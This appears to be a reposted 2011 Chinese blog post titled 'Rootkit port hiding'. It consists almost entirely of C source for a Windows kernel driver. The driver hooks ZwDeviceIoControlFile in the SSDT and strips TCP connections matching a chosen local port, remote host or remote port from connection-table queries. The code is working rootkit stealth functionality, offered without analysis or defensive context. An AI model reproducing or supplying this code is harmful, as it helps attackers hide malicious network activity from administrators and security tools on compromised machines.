登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

BCB-DG's Blog

...

 
 
 

日志

 
 

Rootkit端口隐藏  

2011-03-02 08:52:51|  分类: Delphi |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
//轉

#include "ntddk.h"
#include
#include
#include
#include "netType.h"

#define NT_DEVICE_NAME L"\\Device\\HidePort"
#define DOS_DEVICE_NAME L"\\DosDevices\\HidePort"

#pragma pack(1) //SSDT表的结构
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

//------------------------- 函数声明--------------------- [5/22/2008 WinDDK]
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    );

VOID OnUnload(
    IN PDRIVER_OBJECT  DriverObject
    );

//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

// ------------------------------------------------------ [5/22/2008 WinDDK]

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength );

NTSTATUS NTAPI NewZwDeviceIoControlFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength );

typedef NTSTATUS (*ZWDEVICECONTROLIOFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength
  );

ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;
PMDL m_MDL = NULL;
PVOID *m_Mapped = NULL;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //变量名是不能变的,因为是从外部导入

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig) \
       _Orig = (PVOID)InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
      InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)


#include "HidePort.h"

#pragma alloc_text(INIT,DriverEntry)
#pragma alloc_text(PAGE,OnUnload)
#pragma alloc_text(PAGE,NewZwDeviceIoControlFile)
#pragma alloc_text(PAGE,HideProtDispatchDeviceControl)
#pragma alloc_text(PAGE,HidePortDispatchCreateClose)

VOID OnUnload(IN PDRIVER_OBJECT  DriverObject)
{
UNICODE_STRING dosDeviceName;

UNHOOK_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);

if(m_MDL){
  MmUnmapLockedPages(m_Mapped,m_MDL);
  IoFreeMdl(m_MDL);
}

//------删除设备对象------ [5/22/2008 WinDDK]
RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&dosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);

KdPrint(("驱动卸载完毕... "));
}

NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    )
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PDEVICE_OBJECT DeviceObject = NULL;
UNICODE_STRING ntDeviceName, dosDeviceName;
BOOLEAN fSymbolicLink = FALSE;

RtlInitUnicodeString(&ntDeviceName, NT_DEVICE_NAME);

//创建设备对象
ntStatus = IoCreateDevice(
  DriverObject,
  0, // DeviceExtensionSize
  &ntDeviceName, // DeviceName
  FILE_DEVICE_UNKNOWN, // DeviceType
  0, // DeviceCharacteristics
  FALSE, // Exclusive
  &DeviceObject // [OUT]
  );

if (!NT_SUCCESS(ntStatus))
{
  KdPrint(("创建设备对象失败:%X ", ntStatus));
  goto __failed;
}

RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

if (!NT_SUCCESS(ntStatus)) {
  KdPrint(("创建符号链接失败:%X ", ntStatus));
  goto __failed;
}

fSymbolicLink = TRUE;

//指定分发
DriverObject->MajorFunction[IRP_MJ_CREATE]         = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE]          = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProtDispatchDeviceControl;
DriverObject->DriverUnload                         = OnUnload;

// --------------修改SSDT------------ [5/22/2008 Admin]

m_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4 );
if(!m_MDL)
  return STATUS_UNSUCCESSFUL;

//非分页内存
MmBuildMdlForNonPagedPool(m_MDL);

m_MDL->MdlFlags = m_MDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

//锁定
m_Mapped = MmMapLockedPages(m_MDL, KernelMode);
HOOK_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);

KdPrint(("驱动启动成功... "));

return ntStatus;

__failed:

if (fSymbolicLink)
  IoDeleteSymbolicLink(&dosDeviceName);

if (DeviceObject)
  IoDeleteDevice(DeviceObject);

return ntStatus;
}

//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
PVOID lpInBuffer = NULL;
ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

//获得输入缓冲区空间地址
lpInBuffer = Irp->AssociatedIrp.SystemBuffer;
nInBufferSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
nOutBufferSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

dwIoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;

switch (dwIoControlCode)
{
case IOCTL_SET_LOCAL_CONTROL:
  {
   HideType = 1;
   memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为本地端口模式...%ld ",LocalPort));
   break;
  }
case IOCTL_SET_RHOST_CONTROL:
  {
   HideType = 2;
   memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为远程地址模式...0x%x ",RemoteHost));
   break;
  }

case IOCTL_SET_RPORT_CONTROL:
  {
   HideType = 3;
   memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为远程端口模式...%ld ",RemotePort));
   break;
  }

default:
  Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
  break;
}

ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

return ntStatus;
}

//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;


ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

return ntStatus;
}

NTSTATUS NTAPI NewZwDeviceIoControlFile(
          IN HANDLE               FileHandle,
          IN HANDLE               Event OPTIONAL,
          IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
          IN PVOID                ApcContext OPTIONAL,
          OUT PIO_STATUS_BLOCK    IoStatusBlock,
          IN ULONG                IoControlCode,
          IN PVOID                InputBuffer OPTIONAL,
          IN ULONG                InputBufferLength,
          OUT PVOID               OutputBuffer OPTIONAL,
          IN ULONG                OutputBufferLength
          )
{
TCP_REQUEST_QUERY_INFORMATION_EX req;
ULONG NumCount = 0;
ULONG i = 0;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpTableEx = NULL;

//调用旧函数
NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  IoControlCode,
  InputBuffer,
  InputBufferLength,
  OutputBuffer,
  OutputBufferLength);

//判断是否为查询TCP连接信息
if (IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
  return ntStatus;

//原函数返回不成功
if (!NT_SUCCESS(ntStatus))
  return ntStatus;
//获得输入缓冲区
memcpy(&req,InputBuffer,sizeof(TDIObjectID));

if (  (req.ID.toi_entity.tei_entity == CO_TL_ENTITY)
  &&(req.ID.toi_entity.tei_instance == 0)
  &&(req.ID.toi_class == INFO_CLASS_PROTOCOL)
  &&(req.ID.toi_type == INFO_TYPE_PROVIDER)
  ) //判断是否为端口查询
{
  //普通查询
  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_ID)
  {
   NumCount = IoStatusBlock->Information / sizeof(TCPAddrEntry);
   TcpTable = (TCPAddrEntry*)OutputBuffer;

   //循环链表,找到并修改需要隐藏的端口
   for(i = 0; i < NumCount; i++) {
    //模式为本地端口
    if (HideType == 1) {   
     if( ntohs(TcpTable[i].tae_ConnLocalPort) == LocalPort) {
      KdPrint(("普通隐藏[本地端口] %d ", ntohs(TcpTable[i].tae_ConnLocalPort)));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }

    //模式为远程地址
    if (HideType == 2) {
     if (TcpTable[i].tae_ConnRemAddress == RemoteHost) {
      KdPrint(("普通隐藏[远程地址] 0x%x ", TcpTable[i].tae_ConnRemAddress));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }

    //模式为远程端口
    if (HideType == 3) {
     if (ntohs(TcpTable[i].tae_ConnRemPort) == RemotePort) {
      KdPrint(("普通隐藏[远程端口] %d ", ntohs(TcpTable[i].tae_ConnRemPort)));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }
   }

   IoStatusBlock->Information = NumCount*sizeof(TCPAddrEntry);
  }

  //带进程PID的查询
  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_EX_ID)
  {
   NumCount = IoStatusBlock->Information / sizeof(TCPAddrExEntry);
   TcpTableEx = (TCPAddrExEntry*)OutputBuffer;


//循环链表
   for(i = 0; i < NumCount; i++) {

    //为本地端口模式
    if (HideType == 1) {
     if( ntohs(TcpTableEx[i].tae_ConnLocalPort) == LocalPort) {
      KdPrint(("扩展隐藏[本地端口] %d ", ntohs(TcpTableEx[i].tae_ConnLocalPort)));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }

    //当前为远程地址模式
    if (HideType == 2) {
     if (TcpTableEx[i].tae_ConnRemAddress == RemoteHost){
      KdPrint(("扩展隐藏[远程地址] 0x%x ", TcpTableEx[i].tae_ConnRemAddress));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }

    //远程端口模式
    if (HideType == 3) {
     if ( ntohs(TcpTableEx[i].tae_ConnRemPort) == RemotePort) {
      KdPrint(("扩展隐藏[远程端口] %d ", ntohs(TcpTableEx[i].tae_ConnRemPort)));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }
   }

   IoStatusBlock->Information = NumCount*sizeof(TCPAddrExEntry);
  }
}

return ntStatus;
}

  评论这张
 
阅读(1692)| 评论(0)

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018